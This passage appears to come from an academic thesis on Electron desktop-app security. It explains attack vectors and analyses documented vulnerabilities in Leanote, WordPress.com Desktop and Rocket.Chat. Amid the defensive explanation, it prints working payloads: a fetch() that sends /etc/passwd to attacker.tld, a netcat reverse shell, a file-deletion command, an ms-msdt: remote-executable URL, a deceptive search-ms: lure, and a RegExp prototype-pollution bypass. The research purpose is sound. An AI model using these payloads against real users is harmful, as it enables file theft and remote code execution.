TAR). Since ASAR files cannot be code-signed [30], an attacker can distribute a modified ASAR file alongside the original, signed, executable to bypass software authentication mechanisms like SmartScreen on Windows or Gatekeeper on macOS. There are even exploitation frameworks making this attack trivial to execute.2 Open Redirect and Navigation Using redirects, websites can forward users from one page to another. A redirect is called open if the list of targets isn’t limited and an attacker can use it to forward to arbitrary URLs. For example, visiting the following URL on the domain google.com forwards the user to the website of the TU Braunschweig: https://google.com/url?sa=t&url=https%3A%2F%2Fwww.tu-braunschweig.de%2F &usg=AOvVaw1LJw3a4MqPwxNzQnuY83n3 An attacker can change the destination in the URL to forward to another website.3 2see BEEMKA by Context Information Security, which allows injecting reverse shells and keyloggers, as well as screenshot and webcam exfiltrators: https://github.com/ctxis/beemka 3In the case of this particular redirect on google.com, simply changing the https%3A%2F%2Fwww.tu-braunschweig.de%2F part isn’t actually enough. The destination is further authenticated using the usg parameter. However, obtaining the necessary value is trivial for any website listed on Google: Clicking on a search result will not open the website directly, but rather go through a URL like the one shown. An attacker can simply copy the correct usg value from there [31]. 3.2. Attack Vectors Specific to Electron 17 Open redirects are commonly used for phishing. Instead of trying to lure a victim directly to the phishing page, an attacker will instead use an open redirect on a trusted domain to make the link seem less suspicious. This can also be used to fool rudimentary filtering software. However, under the right circumstances, open redirects on the web can also be used in more classical exploits, usually as a step to achieving XSS [32]. Those problems also apply in the context of Electron applications. However, they start even sooner. In Electron apps, it is recommended to only allow navigation (i.e. changing the displayed webpage) to a set of trusted origins [33, p. 15]. This is for two reasons: First, Electron apps typically don’t display a URL bar. As such, if an attacker manages to get the user to navigate to a website controlled by them, the user has basically no way of noticing. This once again opens the possibility of phishing. In addition, this also allows for actual exploits as the attacker controls the code run on the target website without requiring an XSS vector. Keeping this in mind, it becomes clear why open redirects are even more dangerous in Electron apps: By passing through a trusted domain, they may allow the attacker to bypass the navigation filters put in place by the developer. Depending on how the app is configured, this may also lead to code execution on the user’s computer (see also Section 3.1.1) [34], [35]. Further, Electron doesn’t show a warning before opening URLs with a protocol not handled by the app. For example, clicking on a link to tel:+1555314159 would show a prompt whether to open the app configured for telephony in most browsers. In Electron however, the telephony app is opened directly without a warning. This can be a problem as the examples in Section 4.2 will show. Do note that the URLs are encoded here which means that some of the examples won’t work as-is. Content Security Policy A Content Security Policy (CSP) is an HTTP header4 that allows the developer to specify a set of policy directives, limiting the origins from which certain resource types can be embedded into the website. The list of resources that can be limited includes scripts (through script-src), images (through img-src), and styles (through style-src) [36]. Note that unlike the other items discussed in this section, a CSP is not an attack vector but rather used to prevent attacks. A lack of a CSP or even a misconfigured one will make attacking a website a lot easier though, so it makes sense to consider it in this context. CSPs are commonly used to lessen the impact of XSS attacks. By limiting the scripts that can run on a webpage, it gets a lot harder or even impossible to execute malicious code through XSS [37]. As Electron apps are essentially just regular websites, they benefit from using a CSP in the same way. Some security scanners include a CSP check that verifies the presence of a CSP and passes it through additional tools like Google’s CSP evaluator5 [19]. 3.2. Attack Vectors Specific to Electron While the previous section focussed on attack vectors that apply both to classic web applications and (potentially) Electron, this section will list additional attack vectors that are specific to Electron. The list presented here is compiled from the Electron security warnings [38] and the checks of the Electronegativity security scanner [19]. 4Although it is also possible to specify one through an HTML meta element. 5https://github.com/google/csp-evaluator 3.2. Attack Vectors Specific to Electron 18 3.2.1. Not Enabling Security Features Electron includes a number of preferences that affect the security of applications. Not enabling them or disabling the ones that are enabled by default opens up additional attack vectors. In particular, the following security features are of relevance: Node.js integration The option nodeIntegration controls whether the renderer process gets direct access to all Node.js APIs. It is disabled by default since version 5.0 (released April 24, 2019) [39] but can be re-enabled by the developer. If Node.js integration is enabled, it is trivial for an attacker to turn XSS into RCE as they would have direct access to all privileged Node.js APIs, allowing for file access for example: <script>alert(require('fs').readFileSync('/etc/passwd').toString());</script> As such, it is recommended to leave nodeIntegration disabled. The developer can still make use of the native Node.js APIs through so-called preload scripts which are executed once before every page load and run in a privileged process that cannot be accessed by the renderer process (as long as context isolation is enabled) [38, Sec. 2]. Context isolation The contextIsolation option separates Electron’s internal scripts and the preload scripts from the scripts running in the renderer process, giving them dedicated window and document objects, as well as different prototypes for the built-in JavaScript globals like Array and RegExp [40]. The main purpose behind this is to stop the renderer process from interfering with privileged code through attacks like prototype pollution [41]. Without context isolation, the renderer process can modify the behaviour of internal JavaScript functions that privileged code likely relies on, making it possible to also change the behaviour of those privileged scripts. Enabling context isolation also means that the developer cannot expose additional APIs to the ren- derer process by attaching them to the window object anymore. For this purpose, the context bridge was introduced [42]. If context isolation is enabled, additional APIs can be exposed to the renderer process from the preload script like so: const { contextBridge, shell } = require('electron'); contextBridge.exposeInMainWorld('acme', { openWebsiteInBrowser: function() { shell.openExternal('https://acme.tld/electron-app'); } }); The renderer process can then call window.acme.openWebsiteInBrowser() to use the API. Context isolation will be enabled by default starting from Electron version 12.0 (no release date planned yet as of the time of writing). In the meantime, the Electron developers already recommend that all apps enable context isolation manually [43]. Remote module Electron includes GUI APIs for creating menus or windows for example. Using the remote module allows accessing these APIs from the renderer process without needing to resort to IPC calls [44]. It only works if Node.js integration is also enabled as the content would otherwise not have access to require() which is necessary to get the reference to the module. The remote module is enabled by default but will be disabled by default in version 10.0 [39], which has not been released yet. 3.2. Attack Vectors Specific to Electron 19 Even if Node.js integration is enabled, which is discouraged, as explained, allowing the remote module provides even more access to the renderer process which would otherwise not have been able to interact with the Electron application itself. With the remote module, the renderer process can add Chrome extensions or create new BrowserWindows with arbitrary web preferences, for example [45]: <script> const { BrowserWindow } = require('electron').remote; BrowserWindow.addExtension(extension_path); (new BrowserWindow({ webPreferences: { webSecurity: false } })).loadURL('https://evil.tld'); </script> As such, it is recommended to disable it [46]. Instead, applications should only access those APIs through the main or preload script and, if necessary, provide heavily filtered wrappers to the renderer process that only allow specific, safe actions. Web security Disabling the option webSecurity turns off various security features in the underlying Chromium browser, as the name implies. In particular, it disables the same-origin policy and al- lows HTTPS pages to load content from HTTP origins [45]. The option is enabled by default and should only be disabled for testing purposes. Sandboxing Electron extends various browser APIs to make them more convenient for desktop application developers. They return their own BrowserWindowProxy upon calling window.open() from a renderer process for example and the third parameter of this function allows setting the web preferences for the new window. These extensions cause a larger attack surface. By enabling the sandbox option, developers can instead opt to enable Chromium’s sandbox feature to isolate the renderer from the main process and to only expose the default browser APIs as provided by Chromium [47]. This option is disabled by default. Experimental features Depending on the version, Chromium ships with a number of experimental features that are hidden behind feature flags and may or may not be enabled by default in future releases. In Electron, these can be enabled through the enableBlinkFeatures and experimentalFeatures options. These features have not been tested extensively by the Chromium developers yet and should only be enabled if absolutely necessary [38, Secs. 8–9]. Custom command line arguments Through the use of app.commandLine.appendArgument(argument) and app.commandLine.appendSwitch(switch, value), developers can pass additional command line ar- guments to Chromium and Node.js. These arguments include ones that affect the security of the ap- plication, like the aptly named --ignore-certificate-errors, --reduce-security-for-testing and --unsafely-treat-insecure-origin-as-secure [48]. Obviously, these arguments should only be used for testing and never be enabled in production. Apart from the custom command line arguments, all these features can be set using the webPreferences property of the BrowserWindow options: const mainWindow = new BrowserWindow({ webPreferences: { nodeIntegration: false, 3.2. Attack Vectors Specific to Electron 20 contextIsolation: true, enableRemoteModule: false, webSecurity: true, sandbox: true, enableBlinkFeatures: '', experimentalFeatures: false } }); 3.2.2. Opening URLs with shell.openExternal() The shell.openExternal(url) function can be used to open URLs in the computer’s respective default program. Typical use cases include opening http:// and https:// URLs in the user’s default browser and mailto: URLs in their default email software. Many developers pass user-controlled input into this function. However, it doesn’t just open “harmless” URLs: On Windows, a separate thread is opened6, the URL is surrounded with double quotes and then directly and without any filtering passed into ShellExecuteW():7 std::string OpenExternalOnWorkerThread(const GURL& url, const platform_util::OpenExternalOptions& options) { // […] base::string16 escaped_url = L"\"" + base::UTF8ToUTF16(url.spec()) + L"\""; // […] ShellExecuteW(nullptr, L"open", escaped_url.c_str(), nullptr, working_dir.empty() ? nullptr : working_dir.c_str(), SW_SHOWNORMAL)) <= 32) // […] } On Linux, the URL is passed directly and without any filtering into xdg-open:8 void OpenExternal(const GURL& url, const OpenExternalOptions& options, OpenCallback callback) { // […] if (url.SchemeIs("mailto")) { /* [open in default email software] */ } else { bool success = XDGOpen(url.spec(), false, platform_util::OpenCallback()); // […] } } 6Omitted here for brevity, see: https://github.com/electron/electron/blob/dcbed18f44a11f239f4d9bddefdb6291dc20d5bb/ shell/common/platform_util_win.cc#L339-L348 7Code from https://github.com/electron/electron/blob/dcbed18f44a11f239f4d9bddefdb6291dc20d5bb/shell/common/ platform_util_win.cc#L236-254, formatted and simplified for clarity. 8Code from https://github.com/electron/electron/blob/3e8d77d564f3f18abbd97ae9fd3a4cd417612b45/shell/common/ platform_util_linux.cc#L93-L105, formatted and simplified for clarity. The XDGOpen() function is a wrapper that ul- timately directly calls: xdg-open [path] 3.2. Attack Vectors Specific to Electron 21 On macOS, the call is put onto an asynchronous dispatch queue9, where it is passed directly into NSWorkspace#openURLs():10 std::string OpenURL(NSURL* ns_url, bool activate) { // […] NSUInteger launchOptions = NSWorkspaceLaunchDefault; if (!activate) launchOptions |= NSWorkspaceLaunchWithoutActivation; bool opened = [[NSWorkspace sharedWorkspace] openURLs:@[ ns_url ] withAppBundleIdentifier:nil options:launchOptions additionalEventParamDescriptor:nil launchIdentifiers:nil]; // […] } All these cases are essentially the same. They take the provided URL and pass it into the respective operating system’s native method for opening arbitrary URLs, without applying any filtering or similar. This is a problem because there are a lot of different URI schemes beside http://, https:// and mailto: on modern systems. One of these are file:// URIs. Using this scheme, an attacker is able to open arbitrary executables on the user’s computer, like this example which opens the calculator on Windows: shell.openExternal('file://c:/windows/system32/calc.exe'); This is possible even if all the security features discussed in Section 3.2.1 are enabled. Only enabling the sandbox option would stop the attack. As this option essentially turns off all features that make Electron differ from regular Chromium, basically turning it into a browser, it isn’t widely used though. Note that it isn’t immediately obvious how opening executables already existing on the user’s computer without any arguments could be exploited by an attacker. This will be discussed in Section 4.2. To prevent this attack, developers should always filter the URLs that they pass to shell.openExternal() and only allow URI schemes that they deem to be “safe”. 3.2.3. Missing Permission Request Handlers Web browsers these days make a lot of powerful features available to websites, including access to the user’s camera and microphone as well as geolocation features. To prevent the abuse of these APIs, browsers have implemented a permissions system that asks the user whether they actually want to grant the requested permissions to the website before it can use them. Electron implements its own permission request system with support for the following permissions: media, geolocation, notifications, midiSysex, pointerLock, fullscreen and openExternal. However, cru- cially, these permissions are granted by default to all websites [38, Sec. 4]. This makes sense in the context of the intended function of the app. A user of a video chat app will expect that app to have access to the webcam without explicit permission requests. However, the permissions are also granted to remote origins. 9Omitted here for brevity, see: https://github.com/electron/electron/blob/75fd9a349698dc131f5f3c21fd1cff68f0224467/ shell/common/platform_util_mac.mm#L99-L118 10Code from https://github.com/electron/electron/blob/75fd9a349698dc131f5f3c21fd1cff68f0224467/shell/common/ platform_util_mac.mm#L31-L54, simplified for clarity. 3.2. Attack Vectors Specific to Electron 22 This means that an attacker who is able to divert the navigation inside an Electron app to a website con- trolled by them, can make use of all those permissions and for example record the webcam and microphone without the user even noticing. To prevent this, the developer has to implement a permission request handler [49]. Using this handler, they can either outright deny permission requests or filter on the origin for example: window.webContents.session.setPermissionRequestHandler( function(webContents, permission, callback) { if (!webContents.getURL().startsWith('https://mydomain.tld/')) callback(false); if (['media', 'notification'].includes(permission)) callback(true); callback(false); } ); 3.2.4. Insecure Protocol Handlers Electron applications may want to register custom protocol handlers which they can do through a num- ber of APIs, including protocol.registerFileProtocol(protocol, handler, registeredCallback) and app.setAsDefaultProtocolClient(protocol, executablePath, args) [50], [51]. This is commonly used in chat apps for example, so a link to chatapp://@someuser on a website will directly open the app with @someuser’s profile open. As these protocol handlers provide an entry point that can be used to inject malicious data into the app from anywhere in the system, particular care has to be given, so as not to open the app for attackers. 3.2.5. Introducing Privileged APIs to the Window Object Preload scripts in Electron run independently of the content and therefore have full access to both the Node.js and Electron APIs. Unless context isolation (see Section 3.2.1) is enabled though, they can also write into the global namespace using the window object. The window object is shared with the renderer process. As such, the preload script can (accidentally) expose functions and objects that would allow the renderer process to access privileged APIs [52]. Consider the following example: const electron = require('electron'); class UsefulHelper { constructor() { this._electron = electron; } doSomething() { this._electron.someUsefulFunction(); alert('Done!'); } } window.helper = new UsefulHelper(); The developer wants to make use of some privileged Electron APIs from the renderer process. Knowing the dangers of exposing those APIs directly, they have implemented a helper class that calls those APIs 3.3. Differences in Exploitation Compared to the Browser 23 instead without depending on any input controlled by the renderer process. However, in this example they overlooked that an attacker can simply access the _electron member through the instance: window.helper._electron.somethingNefarious(); Even more subtly, the preload script might also add some function that doesn’t expose a privileged API quite as obviously but has a vulnerability that the renderer process can exploit. Additionally, apps need to make sure not to directly expose the IPC channel to the renderer process, otherwise it can send privileged internal messages and thus bypass disabled Node integration. The attack also works the other way around: Without context isolation, preload scripts cannot rely on any global functions and variables, including the window object and global prototypes like Array or RegExp, because they may have been maliciously modified by the renderer process. 3.3. Differences in Exploitation Compared to the Browser Having discussed the relevant attack vectors in Electron apps, one question remains: How can these attack vectors actually be accessed? It is important to keep in mind that the attacker cannot simply send the user to a link that would trigger an XSS vulnerability for example. In this regard, Electron applications behave, at first glance, less like websites and more like regular desktop applications. There are however a few ways an attacker can get their malicious payload into the Electron application to trigger the relevant attack vector: Remote content Despite running locally, many Electron apps will still load remote content. The most obvious example for this are chat apps. Here, an attacker could send a malicious message to the user that contains the attack payload. Similarly, there are apps that display content shared with other users like password managers or note-taking apps. In these cases, the attacker could also create malicious items containing the payload and share those with the user. Remote sites Electron apps can load both local and remote sites. If an attacker manages to load a site they control in an Electron app, they have the same access as through XSS [53, p. 12]. This could for example be achieved through a link if the app doesn’t block navigation to untrusted sites. Opening new windows through middle-clicking, ctrl-clicking, or window.open() calls needs separate handling. Files One of the core features of Electron apps is the ability to open and edit local files. Categories of apps using this functionality include editors (like the code editor Atom which was the very reason for Electron’s creation), media players and file viewers. For those, a malicious file might be used for payload delivery. Different loading mechanisms like a file open dialog and a drag and drop handler may be implemented differently and need to be considered separately. Similarly, there are also apps loading files from remote origins. The same principles apply there. Custom protocols As mentioned already in Section 3.2.4, custom protocol handlers provide an ideal vector for injecting payloads into Electron apps. In that regard, they are essentially equivalent to links used for delivering payloads to regular websites. Self XSS Finally, there is of course the possibility of convincing the user to inject the payload themselves. Electron apps by default ship with the Chromium DevTools enabled, so the attacker could claim some (false) benefit to the user if they paste a command there. 4. Documented Vulnerabilities in Electron Applications After looking at the possible attack vectors in Electron apps in the previous chapter, this chapter will present a selection of actual vulnerabilities that were found in Electron apps and for which public reports exist. This will help in better understanding how Electron apps are exploited in the wild and further narrow down what to scan for in the next chapter’s analysis. In total, 16 reports were found. Going through the reports revealed a fair amount of overlap between them, motivating to group the vulnerabilities by the used attack vector. This resulted in the following list of common exploitable problems in Electron apps: XSS due to use of dangerous functions The vulnerabilities in this group were all possible because un- trusted HTML or JavaScript was passed directly and without (proper) filtering into a dangerous function or assigned to a dangerous property. These include the document.write(html) function, the element.innerHTML property and React’s aptly named dangerouslySetInnerHTML attribute. Due to that, the attacker is able to inject JavaScript that is executed in the renderer process. RCE due to use of shell.openExternal() These vulnerabilities are all caused by the app passing untrusted input directly and without (proper) filtering into Electron’s shell.openExternal() function, allow- ing the attacker to launch applications on the user’s system and make use of the registered URI schemes. XSS escalation to RCE due to Node integration These applications all had Node integration enabled. Thus, the attacker is able to trivially escalate an XSS vulnerability into an RCE. XSS escalation to RCE due to insecure preload or no context isolation The applications in this group had all disabled the Node integration feature, as recommended. However, they didn’t enable context isolation or had an insecure preload script that exposed privileged Node.js or Electron APIs accessible to the renderer process, allowing the attacker to turn an XSS vulnerability into an RCE. One vulnerability from each group has been selected which will be presented here as an example.1 For each one, a minimal application containing just enough code to re-enact the vulnerability is also provided. These applications are hosted through GitHub Gist and can easily be tried using the Electron Fiddle2 application. 4.1. XSS and RCE in Leanote Desktop Leanote is an open source web-based note-taking app with almost 10,000 stars on GitHub (as of the time of writing) [54]. In addition, an Electron-based desktop version, called Leanote Desktop App, is also offered. In November 2017, a vulnerability (CVE-2017-1000492) was reported to the project. This vulnerability fits into the groups XSS due to use of dangerous functions and XSS escalation to RCE due to Node integration. It is presented here as the vulnerability is easy to understand and a quintessential example of problems in older Electron apps that have not been migrated not to use Node integration yet. 1For a full list of the reports that were considered and their groupings, see Appendix A.1. 2https://www.electronjs.org/fiddle 4.1. XSS and RCE in Leanote Desktop 25 The vulnerability works by including an HTML payload in a note’s title and then using the Star note feature to remember the note [55]. The HTML included in the title is then immediately executed. The report includes a complicated payload utilizing the onmouseover event and trying to confuse the HTML parser using incomplete and unclosed nested tags. Exploiting the vulnerability is a lot easier, though. In fact, it is enough to simply include any HTML the attacker wants to execute. The simplest payload, merely proving the XSS vulnerability, would be: <script>alert(1)</script> An actual attacker could use this vulnerability to change the interface or exfiltrate the user’s notes. The vulnerability is caused by the Note.renderStars() function which displays the starred notes in the interface as the name suggests and is executed upon adding and removing starred notes or whenever the application launches. This function iterates over the starred notes, generates the HTML for rendering them and then appends them to the DOM:3 Note.starItemT = '<li data-id="?"><a>?<span class="delete-star" title="' + getMsg('Remove') + '">X</span></a></li>'; Note.starNotesO = $('#starNotes'); Note.renderStars = function(notes) { // […] this.starNotesO.html(''); for (var i = 0; i < notes.length; ++i) { var note = notes[i]; var t = tt(this.starItemT, note.NoteId, note.Title || getMsg('Untitled')); this.starNotesO.append(t); } // […] }; The tt(template, ...fields) function simply takes the template defined in Note.starItemT and replaces the ? placeholders with the corresponding fields passed to the function without any filtering or sanitization. As such, for each note, an <a> element containing the note title is generated, wrapped into a <li> element. Those <li> elements are then inserted into the DOM using the jQuery .append() function which explicitly allows HTML content to be appended [56]. The report goes on to explain that this XSS vulnerability can be escalated to RCE. This is due to the fact that Node integration is enabled in the app. Therefore, all Node.js API are available to the attacker in the renderer process. This can be abused in the following ways for example: Exfiltrate files from the user’s computer: <script> fetch('https://attacker.tld/hook', { method: 'POST', body: require('fs').readFileSync('/etc/passwd').toString() }); </script> This payload reads the /etc/passwd file from the user’s computer using the fs library included with Node.js and POSTs it to an attacker-controlled endpoint using the fetch() function included in Chromium. 3Code from https://github.com/leanote/desktop-app/blob/7e2b1d0bca3fd4eb9733d1492e9f63a95177216a/public/js/ app/note.js#L1991-L2007, simplified for clarity. 4.1. XSS and RCE in Leanote Desktop 26 Execute arbitrary commands on the user’s computer: <script> require('child_process').execSync('rm /path/to/file'); </script> This payload deletes the file /path/to/file on the user’s computer using the child_process library included with Node.js. Arbitrary other commands can of course also be executed. In addition, if the attacker is interested in the output of the command, they can easily exfiltrate it, for example using fetch as shown before, as the execSync() function simply returns the stdout from the command that was run. Start a reverse shell: <script> require('child_process').execSync( 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 |' + 'nc -l attacker.tld 1234 >/tmp/f' ); </script> This payload opens a reverse shell on the user’s computer which the attacker can access by running nc localhost 1234 on their system [57]. For the sake of a concise example, this requires netcat on the user’s computer which is uncommon. However, there are also reverse shells implemented in a few lines of pure JavaScript using the Node.js APIs [58]. There is even a code generator called JSgen.py4 for this purpose. The vulnerability was fixed a few days later in version 2.6 by passing the note’s title through the existing trimTitle() function:5 - var t = tt(me.starItemT, note.NoteId, note.Title || getMsg('Untitled')); + var t = tt(me.starItemT, note.NoteId, trimTitle(note.Title) || getMsg('Untitled')); This trimTitle() function just replaces all instances of < and > with their corresponding HTML entities:6 var trimTitle = function(title) { // […] return title.replace(/</g, "&lt;").replace(/>/g, "&gt;"); }; The fix did however not address the problem that Node.js integration is enabled, allowing trivial escalation of XSS into RCE. In fact, in October 2019 another, very similar, vulnerability was reported, this time injecting code through an <iframe> with the src attribute set to a javascript: URL in the note’s text [59]. This vulnerability has not been fixed as of the time of writing and also leads to RCE due to the insufficient security settings used by the Leanote desktop app. Neither of the two reports addresses how the vulnerabilities can be exploited. Seemingly, they can only be classified as self-XSS as the user would need to inject the payload themselves. However, the problem is 4https://pentesterslife.blog/2018/06/28/jsgen/ 5Diff from https://github.com/leanote/desktop-app/commit/a2ed226637f8e66c9b089784b5e58eccf2e2fb30. 6Code from https://github.com/leanote/desktop-app/blob/17e65292a5124cc3ec1d41c03b2cbedc76916f58/public/js/ common.js#L1611-L1620, simplified for clarity. 4.2. RCE in WordPress.com for Desktop 27 actually more severe. Leanote has a feature that allows users to share notes with other users [60], [61]. If a user imports a malicious note shared with them, they are affected by these vulnerabilities. A minimal example of this vulnerability to be used with Electron Fiddle is available here: https://gist.github.com/ed4b6b82c5a2aa4b08b166b1e21bb14c This example reduces the application to entering new note titles and displaying them. An Electron version prior to 5.0.0 should be used for testing as the RCE parts rely on Node integration being enabled by default. 4.2. RCE in WordPress.com for Desktop WordPress is an open source content management system that powers about a third of the world’s websites [62]. The WordPress.com for Desktop app is an official Electron wrapper for editing WordPress websites on the Desktop. It can be used both with websites hosted on WordPress.com and WordPress sites users host on their own server through a plugin [63]. In December 2017, a vulnerability was reported to the project. This vulnerability fits into the group RCE due to use of shell.openExternal(). It is presented here as there is a very clear path to exploitation without any tricks being necessary. The vulnerability works through the window.open(url) function that opens a new window. The app hooks the creation of new windows to instead pass the URL to shell.openExternal(). This is done to open external URLs in the browser instead of the app. However, as there was no filtering on the URLs that are passed to window.open(), an attacker could specify a malicious URL and gain RCE [64]. The hook is installed on the new-window event of the webContents object of the window:7 webContents.on('new-window', function(event, url, frameName, disposition, options) { const parsedUrl = new URL(url); for (let x = 0; x < DONT_OPEN_IN_BROWSER.length; x++) { const dontOpenUrl = new URL(DONT_OPEN_IN_BROWSER[x]); if (domainAndPathSame(parsedUrl, dontOpenUrl)) { // [open in app instead] } } debug('Open in new browser for ' + url); openInBrowser(event, url); }); It checks the passed URL against a list of URLs that should not be opened in the browser. This is not a security check, though. The list only contains the website’s URL and the URL to WordPress.com’s API as those should be opened in the app instead:8 const DONT_OPEN_IN_BROWSER = [ Config.server_url, 'https://public-api.wordpress.com/connect/' ]; 7Code from https://github.com/Automattic/wp-desktop/blob/411381139e089cecb446f659aee30921ecd4f810/desktop/ window-handlers/external-links/index.js#L58-L79, simplified and formatted for clarity. 8Code from https://github.com/Automattic/wp-desktop/blob/411381139e089cecb446f659aee30921ecd4f810/desktop/ window-handlers/external-links/index.js#L30-L33 4.2. RCE in WordPress.com for Desktop 28 URLs not on that list are then passed to the openInBrowser() function, where it is directly forwarded to shell.openExternal() without any filtering:9 function openInBrowser(event, url) { shell.openExternal(url); event.preventDefault(); } An attacker who controls the website a user edits in the app can therefore pass arbitrary URLs to shell.openExternal() and thus execute code on the user’s computer. They can achieve this by creating a page on their own website containing a window.open() call to a file: URL and inviting the user to also edit the site. The exploit can also be triggered by the user visiting the attacker’s site through the app as a reader. The kinds of files the attacker can execute depend on the user’s operating system: On Windows, arbitrary executables on the user’s system can be opened. To open the calculator, one would use file://c:/windows/system32/calc.exe for example. This is not very powerful, though, as the attacker cannot pass any parameters. They could use this method to open a malicious executable that they have previously managed to drop somewhere on the user’s system, including the downloads folder. A significantly more powerful option would be the ability to open remote executables without hav- ing to drop them on the user’s computer first. This is possible through a Samba/CIFS share. Us- ing \\live.sysinternals.com\tools\procmon.exe would open the (harmless) Process Monitor through Microsoft’s Sysinternals Live10 service for example. An attacker could host an open Samba share to deliver any executable through this method. Do note however, that a “Security Warning” mentioning the full path is displayed before the program is actually executed. Abusing security fa- tigue, i.e. users being tired of constant security prompts and simply accepting them without further consideration, the attacker could use a specifically crafted host and file name to convince the user to click “Run” there. On macOS, arbitrary executables already on the user’s system can also be opened, this time using file:/System/Applications/Calculator.app for the calculator. But while macOS also supports Samba (as well as AFP and NFS), trying to open a URL like smb://attacker.tld/public/exploit.app with shell.openExternal() will merely open Finder with the program selected in recent versions (tested with Catalina). If however, the attacker could somehow convince the user to mount the share themselves, the file would now also be available through file:/Volumes/public/exploit.app where it can actually be executed. Further, macOS previously had an automount feature that would make any NFS export available via file:/net/attacker.tld/path/to/export. While this feature has been disabled in Catalina, it continues to work on machines that have not been upgraded yet. On Linux, the situation is more complex. The xdg-open program, which is used internally by shell.openExternal(), will usually delegate to the desktop environment’s own “open” function, like gio open for Gnome. These functions usually don’t handle opening executables and will instead either refuse to open them or display them in some other application like a hex editor, if installed. It is however possible to circumvent this limitation in some cases. On Xubuntu 20.04 running the 9Code from https://github.com/Automattic/wp-desktop/blob/411381139e089cecb446f659aee30921ecd4f810/desktop/ window-handlers/external-links/index.js#L37-L40, formatted for clarity. 10https://docs.microsoft.com/en-us/sysinternals/#sysinternals-live 4.2. RCE in WordPress.com for Desktop 29 XFCE desktop, .desktop files can be executed using xdg-open. Those files can execute arbitrary commands as this simple example shows: [Desktop Entry] Exec=xmessage "Hello from Electron." Type=Application The handling of remote locations also differs between distributions and desktop environments. While Ubuntu 20.04 with Gnome refuses to open Samba shares that have not been mounted yet, Xubuntu 20.04 will instead gladly open files from there, including .desktop files (albeit with a warning about an “Untrusted application launcher”). In addition, even if file: and similar URLs are filtered out, the attacker can make use of the myriad of other URI scheme handlers registered on modern systems. Vulnerabilities in those protocol handlers occur from time to time [65]–[68] and sometimes the intended behaviour of those handlers can also be abused. Three examples for Windows are given here but similar vectors likely also exist on other systems: Windows includes the ms-msdt: protocol that opens the Microsoft Support Diagnostic Tool which provides the troubleshooting wizard to diagnose Wi-Fi and audio problems and the like [69]. This protocol directly passes the string it is given to the msdt.exe program. The attacker now needs to find an included wizard that allows the execution of arbitrary programs, preferably even remote ones. The program compatibility wizard fits this description. Luckily for the attacker, all user input can also be prefilled from the command line, leading to this URL: ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\live.sysinternals.com\tools\procmon.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO" Upon opening this URL with shell.openExternal(), the troubleshooting wizard will open and show a progress bar for the “diagnosis”. Once completed, the user is asked to click a button to check the compatibility settings. When they do so, the Process Monitor tool is once again launched from the remote server. As this vector uses the official Microsoft troubleshooting tool that the user may already be familiar with and signals legitimate diagnosis taking place, it shouldn’t be too hard for the attacker to convince the user that clicking this button is necessary. Windows further includes the search-ms: protocol that opens the search feature [70]. The attacker can supply both the query of the search and the location. This location can also be on a remote Samba share. Finally, they can even set the title of the search window. Using this, the attacker can craft the following URL searching the Sysinternals Live share to only display the Process Monitor executable with a title suggesting an important update: search-ms:query=procmon.exe&crumb=location:%5C%5Clive.sysinternals.com%5Ctools &displayname=Important%20update If Java, which comes bundled with LibreOffice for example, is installed on the system, the attacker could also use the jnlp: protocol to launch a remote Java application like this (this does display a warning, though): jnlp:https://attacker.tld/program.jnlp 4.3. RCE in Rocket.Chat Desktop 30 The vulnerability was fixed in version 3.2 of WordPress for Desktop by only forwarding URLs that pass a new isValidBrowserUrl() check to shell.openExternal(). This new function simply checks whether the URL uses either the http: or the https: protocol:11 function isValidBrowserUrl(url) { const parsedUrl = new URL(url); if (parsedUrl.protocol === 'http:' || parsedUrl.protocol === 'https:') { return url; } return false; } A minimal example of this vulnerability to use with Electron Fiddle is available here: https://gist.github.com/fd4cbc8e551757ad16622c46c6774962 4.3. RCE in Rocket.Chat Desktop Rocket.Chat is an open source communications platform with more than 27,000 stars on GitHub (as of the time of writing), that offers multiple clients including Rocket.Chat Desktop which is implemented in Electron [71]. In October 2017, a vulnerability was reported to the project. This vulnerability fits into the groups XSS escalation to RCE due to insecure preload or no context isolation and RCE due to use of shell.openExternal(). The vulnerability is presented here as it provides a very clear example of the dangers of not enabling context isolation. An XSS vector that can be delivered through a message to another user is also disclosed in the same report. This vector will not be discussed here, though. The vulnerability allows turning XSS into RCE through the shell.openExternal() function, simi- lar to the previous one. Here, however, the developers have included a check before passing URLs to shell.openExternal() that filters out file: URLs, instead passing them to shell.showItemInFolder() to show the respective file in the user’s file explorer. The attacker needs to bypass this check for this attack. They can do so using prototype pollution [72]. The app installs an event listener on the click event of the document12. All click events are passed to the handleAnchorClick() function that decides what to do when the user clicks a link:13 const handleAnchorClick = (event) => { const href = /* [the link URL] */; // […] const isLocalFilePath = /^file:\/\/.+/.test(href); if (isLocalFilePath) { const filePath = href.slice(6); shell.showItemInFolder(filePath); 11Code from https://github.com/Automattic/wp-desktop/pull/377/commits/ee79e7ca7f556ea2c48fb71c038b84b9205a4c46, formatted for clarity. 12Omitted here for brevity, see: https://github.com/RocketChat/Rocket.Chat.Electron/blob/ a2f4885ba5c0ff995f3098e5280bc3e1f8d8d2dc/src/preload/links.js#L44-L48 13Code from https://github.com/RocketChat/Rocket.Chat.Electron/blob/a2f4885ba5c0ff995f3098e5280bc3e1f8d8d2dc/ src/preload/links.js#L6-L41, simplified for clarity. 4.3. RCE in Rocket.Chat Desktop 31 event.preventDefault(); return; } // […] shell.openExternal(href); event.preventDefault(); }; Links are tested against the ^file:\/\/.+ regex (which passes if the URL starts with file://). If they match this regex, they are passed to shell.showItemInFolder(), otherwise they are passed to shell.openExternal(). As per the previous discussion, this seems sensible. The check is executed in a preload script which even an attacker who can execute JavaScript code in the renderer process cannot modify. However, the app doesn’t enable context isolation, meaning that the renderer process and preload script share the same global objects. In particular, they share the same RegExp object. Through the use of prototypes, JavaScript allows developers to modify the behaviour of many internal functions. The attacker can use this to modify how regex testing works to bypass the check. The report proposes a fairly complicated implementation that leaves other uses of the function intact [72], but the problem can be demonstrated much more trivially: RegExp.prototype.test = function() { return false; }; This payload modifies the .test() function on any regex to always return false, regardless of the input. As explained, due to the lack of context isolation, this doesn’t just apply to the renderer process but also to the preload script. Therefore, the attacker can now pass arbitrary URLs to shell.openExternal(). The developers mitigated the vulnerability in version 0.59.0 of the server a few days later by changing their Markdown parser to prevent the XSS vector presented in the report [73]. The part of the vulnerability discussed here has not been fixed as of the time of writing, though. This would only be 